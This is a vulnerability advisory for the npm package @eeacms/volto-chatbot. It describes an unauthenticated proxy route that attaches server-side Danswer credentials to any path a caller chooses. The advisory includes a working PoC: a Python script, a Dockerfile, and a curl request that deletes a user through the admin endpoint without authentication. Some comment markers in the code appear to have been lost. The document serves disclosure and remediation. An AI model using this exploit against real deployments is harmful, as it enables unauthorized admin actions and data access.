@eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy

Unauthenticated Danswer API Confused Deputy Proxy in @eeacms/volto-chatbot Summary `@eeacms/volto-chatbot` exposes an Express middleware route (`**/_v1_da/**`) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (`DANSWER_API_KEY` or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker. Details The vulnerability is introduced across two source files in `@eeacms/volto-chatbot@2.0.3`. Route registration (`src/index.js:15`): ```js middleware.all('**/_v1_da/**', proxyMiddleware); ``` The wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before `proxyMiddleware`. This means all requests reaching any `/_v1_da/` path are forwarded without any identity check. Unvalidated path extraction and upstream URL construction (`src/middleware.js:228-230`): ```js const path = req.url.replace('/_v1_da/', '/'); const reqUrl = `${process.env.DANSWER_URL || ''}/api${path}`; ``` The attacker-controlled `req.url` is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method. Credential attachment and forwarding (`src/middleware.js:164`, `src/middleware.js:169`, `src/middleware.js:202`): ```js // Session-cookie path (line 164): headers = { Cookie: cached_auth_cookie, ... } // API-key path (line 169): Authorization: 'Bearer ' + api_key, // Sink — final upstream dispatch (line 202): const response = await fetch(url, options, req.body); ``` After constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a `Bearer` API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client. Complete data flow (source → sink): 1. `src/index.js:15` — all `**/_v1_da/**` paths registered to `proxyMiddleware` with no auth guard (source: external HTTP request). 2. `src/middleware.js:228` — `req.url` used directly to derive the upstream path without allowlist. 3. `src/middleware.js:230` — attacker-controlled path appended to `${DANSWER_URL}/api`. 4. `src/middleware.js:164` / `src/middleware.js:169` — server-side session cookie or API key attached. 5. `src/middleware.js:202` — `fetch(url, options, req.body)` sends the fully-credentialed request to the Danswer backend (sink). This vulnerability is present whenever the add-on middleware is installed and `DANSWER_API_KEY` or `DANSWER_USERNAME`/`DANSWER_PASSWORD` is configured — conditions required for normal, documented operation of the package. PoC The following steps reproduce the vulnerability using the Docker-based test harness provided with this report. Prerequisites: • Docker installed • Python 3 with the `requests` library **Step 1 — Build the Docker image (from the `npmAI_719_eea__volto-chatbot/` parent directory):** ```bash docker build \ -f vuln-001/Dockerfile \ -t vuln001-proxy \ reports/npmAI_719_eea__volto-chatbot ``` The image packages the unmodified `src/middleware.js` from `@eeacms/volto-chatbot@2.0.3`, a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable `DANSWER_API_KEY=supersecret` is set to simulate a real deployment. Step 2 — Start the container: ```bash docker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy ``` This launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container. Step 3 — Run the PoC exploit script: ```bash python3 vuln-001/poc.py 127.0.0.1 3000 ``` What the script does: 1. Waits for the proxy to accept TCP connections. 2. Sends an unauthenticated `POST` request with a JSON body to the admin-only Danswer endpoint via the proxy: ``` POST http://127.0.0.1:3000/_v1_da/admin/users/delete Content-Type: application/json {"id": "victim-user-123"} ``` No `Authorization` or `Cookie` header is sent by the client. Expected output (exploit confirmed): ``` [+] === EXPLOIT CONFIRMED — PASS === [+] Decisive evidence: 1. Attacker-controlled path reached upstream : url='/api/admin/users/delete' 2. Server-side API key forwarded (no client auth) : authorization='Bearer supersecret' 3. Attacker-controlled HTTP method forwarded : method='POST' ``` The mock Danswer server receives `POST /api/admin/users/delete` with `Authorization: Bearer supersecret` — proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials. Equivalent manual curl command (without Docker): ```bash Terminal 1 — mock Danswer server node - <<'NODE' require('http').createServer((req, res) => { let b = ''; req.on('data', c => b += c); req.on('end', () => { res.setHeader('content-type', 'application/json'); res.end(JSON.stringify({ method: req.method, url: req.url, authorization: req.headers.authorization || null, body: b })); }); }).listen(18080, () => console.log('mock Danswer on :18080')); NODE Terminal 2 — Volto with Danswer credentials configured DANSWER_URL=http://127.0.0.1:18080 DANSWER_API_KEY=secret yarn start Terminal 3 — unauthenticated exploit request curl -i -X POST 'http://localhost:3000/_v1_da/admin/users/delete' \ -H 'Content-Type: application/json' \ --data '{"id":"victim-user-123"}' ``` The response body will contain `"authorization":"Bearer secret"` and `"url":"/api/admin/users/delete"`, confirming the Confused Deputy. Impact This is a Confused Deputy / Missing Authorization vulnerability. The Volto proxy acts as a privileged deputy that forwards attacker-supplied requests to the Danswer backend while silently attaching its own service credentials. Who is impacted: Any deployment of `@eeacms/volto-chatbot` that: • has the package's Express middleware installed (default when the add-on is active), AND • has `DANSWER_API_KEY` or `DANSWER_USERNAME`/`DANSWER_PASSWORD` configured (required for the add-on to function at all). Because these conditions are satisfied in every normal production deployment of the package, the vulnerability is effectively default-on. Concrete attacker capabilities depend on the Danswer service account's permissions but include: • High Confidentiality impact — reading any Danswer endpoint accessible to the service account, including documents, user data, conversation history, and configuration. • Low–High Integrity impact — invoking write/mutate endpoints such as `POST /admin/users/delete`, `POST /chat/create-chat-session`, or any other writable Danswer API path as the service account. • No Authentication required — the attacker needs only network access to the Volto server (port 3000); no user account, cookie, or token is required. The vulnerability is exploitable by any unauthenticated network attacker, including anonymous internet users if the Volto server is publicly reachable. Reproduction artifacts `Dockerfile` ```dockerfile Dockerfile for VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy # Build context: the parent directory (npmAI_719_eea__volto-chatbot/) docker build -f vuln-001/Dockerfile -t vuln001-proxy . # Run: docker run --rm -p 3000:3000 vuln001-proxy FROM node:18-alpine WORKDIR /app Install production dependencies required by the vulnerable middleware and test harness RUN npm init -y && npm install --save \ express@4 \ superagent@8 \ node-fetch@2 \ debug@4 \ @babel/core@7 \ @babel/register@7 \ @babel/preset-env@7 Copy the vulnerable middleware source (unmodified from repo) COPY repo/src/middleware.js /app/src/middleware.js Copy the test harness COPY vuln-001/test_server.js /app/test_server.js Point the proxy at the in-container mock Danswer server. DANSWER_API_KEY is the secret the server attaches to every upstream request. ENV DANSWER_URL=http://127.0.0.1:18080 ENV DANSWER_API_KEY=supersecret EXPOSE 3000 CMD ["node", "test_server.js"] ``` `poc.py` ```python #!/usr/bin/env python3 """ Proof-of-Concept: VULN-001 Title: Unauthenticated Danswer API Confused Deputy Proxy CWE: CWE-862 — Missing Authorization CVSS: 8.2 (High) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N Vulnerability: src/index.js:15 registers middleware.all('**/_v1_da/**', proxyMiddleware) with NO authentication guard. src/middleware.js:228-230 derives the upstream Danswer API path directly from req.url without any allowlist, then attaches the server-side DANSWER_API_KEY (or session cookie) before calling fetch(). An unauthenticated attacker therefore controls: • the upstream Danswer API path (e.g. /admin/users/delete) • the HTTP method (POST, DELETE, …) • the request body while the server silently adds its own credentials. Exploit flow: Attacker --(unauthenticated POST /_v1_da/admin/users/delete)--> Volto proxy Volto proxy --(POST /api/admin/users/delete Authorization: Bearer <key>)--> Danswer Usage: python3 poc.py [proxy_host] [proxy_port] Default: 127.0.0.1 3000 """ import json import socket import sys import time import requests ── Configuration ────────────────────────────────────────────────────────────── PROXY_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PROXY_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3000 PROXY_BASE = f"http://{PROXY_HOST}:{PROXY_PORT}" Attacker-chosen admin-only endpoint — no credentials sent by the client. ATTACK_PATH = "/_v1_da/admin/users/delete" ATTACK_PAYLOAD = {"id": "victim-user-123"} ── Helpers ──────────────────────────────────────────────────────────────────── def wait_for_port(host: str, port: int, timeout: int = 40) -> bool: """Return True when a TCP connection succeeds within timeout seconds.""" deadline = time.monotonic() + timeout while time.monotonic() < deadline: try: with socket.create_connection((host, port), timeout=1): return True except OSError: time.sleep(1) return False def run_exploit() -> bool: print("=" * 64) print("VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy") print("=" * 64) print(f"[*] Proxy base : {PROXY_BASE}") print(f"[*] Attack path : {ATTACK_PATH}") print(f"[*] Attack body : {json.dumps(ATTACK_PAYLOAD)}") print(f"[*] No client auth headers will be sent.") print() Wait for the proxy server to accept connections. print(f"[*] Waiting for proxy on {PROXY_HOST}:{PROXY_PORT} ...") if not wait_for_port(PROXY_HOST, PROXY_PORT, timeout=40): print("[-] Proxy did not become reachable within 40 s. FAIL.") return False print("[+] Proxy is reachable.") Additional brief wait to let the Node event loop fully initialise. time.sleep(1) Send the exploit request — zero client-side authentication. exploit_url = f"{PROXY_BASE}{ATTACK_PATH}" print(f"[*] Sending unauthenticated POST → {exploit_url}") try: resp = requests.post( exploit_url, json=ATTACK_PAYLOAD, headers={"Content-Type": "application/json"}, timeout=20, ) except requests.exceptions.RequestException as exc: print(f"[-] HTTP request failed: {exc}") return False print(f"[*] HTTP status : {resp.status_code}") print(f"[*] HTTP body : {resp.text[:800]}") print() Parse the echo from the mock Danswer server. try: body = resp.json() except ValueError: print("[-] Response is not valid JSON — cannot verify exploit. FAIL.") return False auth_header = body.get("authorization") or "" upstream_url = body.get("url") or "" method = body.get("method") or "" print("[*] Fields echoed by mock Danswer upstream:") print(f" method : {method!r}") print(f" url : {upstream_url!r}") print(f" authorization : {auth_header!r}") print() Decisive evidence criteria: 1. Attacker-supplied path reached the upstream server. 2. Server-side API key was attached without any client credential. 3. Attacker-supplied HTTP method was forwarded. path_proxied = "/api/admin/users/delete" in upstream_url cred_attached = "Bearer supersecret" in auth_header method_correct = method == "POST" if path_proxied and cred_attached and method_correct: print("[+] === EXPLOIT CONFIRMED — PASS ===") print("[+] Decisive evidence:") print(f" 1. Attacker-controlled path reached upstream : url={upstream_url!r}") print(f" 2. Server-side API key forwarded (no client auth) : authorization={auth_header!r}") print(f" 3. Attacker-controlled HTTP method forwarded : method={method!r}") return True else: print("[-] === EXPLOIT NOT CONFIRMED — FAIL ===") if not path_proxied: print(f" MISSING: /api/admin/users/delete not found in url={upstream_url!r}") if not cred_attached: print(f" MISSING: 'Bearer supersecret' not found in authorization={auth_header!r}") if not method_correct: print(f" MISSING: expected method=POST, got {method!r}") return False if name == "main": success = run_exploit() sys.exit(0 if success else 1) ```